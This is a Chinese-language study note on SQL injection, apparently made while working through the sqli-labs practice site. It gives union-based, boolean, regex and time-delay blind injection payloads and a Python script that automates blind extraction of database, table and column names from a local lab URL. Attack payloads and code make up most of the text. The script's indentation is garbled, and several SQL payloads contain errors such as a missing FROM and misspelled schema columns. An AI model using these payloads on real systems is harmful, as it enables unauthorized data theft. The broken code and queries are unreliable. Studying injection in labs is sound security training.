太阳当空照,我来学sqli

介绍几个常用函数:

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

字符串连接函数

函数具体介绍 http://www.cnblogs.com/lcamry/p/5715634.html

  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

SQL注入基本语句

order by 1 # 爆出column数
union select 1,2,3 # 用于判断哪了一个列会被显示
union select table_name from information_schema.tables where table_schema=database() #爆表名字
union select column_name from information_schema.columns where table_name=`table name` #爆列名

基本的sql语句,需要注意的是union查询的column数要和前部分得column相同,
有时查询的结果只能显示一条即后面要加上limit 0,1 通过控制0这个参数来调整位置
或者可以使用 group_concat()来将所有的查询结果组合显示
绕过即将这些的基本注入语句进行变形或者改造,例如 添加注释绕过,双写绕过,具体问题具体分析.

关于盲注

盲注是没有报错或者信息回显的情形下注入,又分为基于布尔型, 基于时间延迟型
布尔型大多是页面返回信息在成功注入后产生不同的信息,根据信息来逐个爆出例如数据库,表,列,基本的语句还是类似不过要多一下技巧
left(database(),1)>’s’
left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 –+
substr()函数,ascii()函数
Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDERBY id LIMIT 0,1),1,1))>98%23
ORD()函数,MID()函数
Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
Ord()函数同 ascii(),将字符转为 ascii 值

正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html
即使 left substr ascii 这些函数被过滤了,还可以使用 正则匹配的方式 进行绕过,like关键字的效果也如同正则

值得注意的是 正则和like语句当匹配成功的时候返回值是1,不成功为0

例如语句
?id=1 and 1=(select user() regexp “^r”)
?id=1’and 1=(if(((select table_name from information_schema.tables where table_schema = database() limit 0,1 )regexp ‘^e’),1,0)) %23
?id=1’and (if(((select table_name from information_schema.tables where table_schema = database() limit 0,1 ) like ‘e%’),1,0)) %23
注意like 和 regexp的小差别,
利用这个语句配合burp可以轻松的爆破出所需要的数据,具体的绕过方式,具体分析,来改造语句即可

知道了这些语句,就已经可以尝试编写盲注脚本,
首先得知道数据库名的长度
payload = and length(database())=1 %23
然后爆数据库名
payload = and ascii(substr(database(),1,1))=1 %23 当然也可以用正则和like的方式
接着是表名的长度
payload = and length(select table_name from information_schema.tables where table_scheme=database()) %23
大多数直接开始爆列名即可不需要爆数据库名
依次类推,构造出列,字段等等.

基于时间延迟的盲注由于没有回显可以判断,只能判断服务器的响应时间
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
分析语句发现,当if成立时返回的是执sleep()而不是返回1, 细节就在于这
留坑======================编写时间注入脚本!

附上简单实现的get_sql布尔注入脚本–还未实现dump出数据的功能

import requests
import re
#' and (ascii(substr(database(),1,1)))
#' and length(database())={0} %23
#' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1%23
#' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>100 %23
#' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),5,1))>108%23
#' and length((select column_name from information_schema.columns where table_name=database() limit 0,1))>100 %23
URL="http://192.168.43.162/sqli/Less-5/?id=1"

def getColumn_len(Table_name):
     payload1 = "' and length((select column_name from information_schema.columns where table_name='"
    payload2=Table_name+"' limit 0,1))={0} %23"
        url_payload = URL+payload1+payload2
    i=0
        while(1):
            url = url_payload.format(i)
        #print url
              response = requests.get(url)
            pattern = re.compile(r'You are in')
        match = pattern.search(response.text)
            if match:
                   print("Column_length",i)
                   getColumn_Name(Table_name,i)
                   break
            i=i+1

def getTableName_len():
       payload="' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))={0} %23"
       i=0
       url_payload=URL+payload
       while(1):
             url = url_payload.format(i)
              response = requests.get(url)
              pattern = re.compile(r'You are in')
             match = pattern.search(response.text)
              if match:
                print("TableName_length:",i)
                 getTableName(i)
                 break
             i=i+1

def getDBName_len():
       DB_len=0
    payload="' and length(database())={0} %23"
       i=0;
       while(1):
              url_payload=URL+payload
              url = url_payload.format(i)
            # print url
              response = requests.get(url)
              pattern = re.compile(r'You are in')
              match = pattern.search(response.text)
              if match:
                 DB_len=i
                 print("DBName_length:",i)
             getDBName(i)
                 break
              i=i+1

def getDBName(DBName_len):
           payload="' and (ascii(substr(database(),{0},1))) = {1} %23"
           DBName = ""
           url_payload=URL+payload
           chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
           print("Start to retreve database name...")
           for i in range(1,DBName_len+1):
                 print("Number of letter:",i)
                   for char in chars:
                   #print("Test letter"+char)
                char_ascii = ord(char)
                   url = url_payload.format(i,char_ascii)
               #print url

                     response = requests.get(url)
                       pattern = re.compile(r'You are in')
                           match = pattern.search(response.text)
                           if match:
                           DBName += char
                                   print("DBName is:"+DBName+"...")
                             break
                   print("over! DBName is:"+DBName)
def getTableName(TableName_len):
        payload="' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}%23"
            Table_name=""
        url_payload=URL+payload
        chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        print("Start to retreve Table name...")
        for i in range(1,TableName_len+1):
            print("Number of letter:",i)
            for char in chars:
               char_ascii = ord(char)
               url=url_payload.format(i,char_ascii)
               #print url
               response = requests.get(url)
               pattern = re.compile(r'You are in')
               match = pattern.search(response.text)
               if match:
                       Table_name += char
                       print("TableName is:"+Table_name+"...")
                       break
        print("over! TableName is:"+Table_name)
        getColumn_len(Table_name)
def getColumn_Name(Table_name,column_len):
    Column_name=''
    payload1 = "' and ascii(substr((select column_name from information_schema.columns where table_name='"
    payload2= Table_name+"' limit 0,1),{0},1))={1}%23"
    chars='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    url_payload=URL+payload1+payload2
    print("Start to retreve Column name...")
    for i in range(column_len+1):
      print("Number of letter:",i)
      for char in chars:
        char_ascii = ord(char)
        url = url_payload.format(i,char_ascii)
        response = requests.get(url)
        pattern = re.compile(r'You are in')
        match = pattern.search(response.text)
        if match:
           Column_name += char
           print("ColumnName is:"+ Column_name+"...")
           break
    print("over! ColumnName is:"+ Column_name)
getDBName_len()
getTableName_len()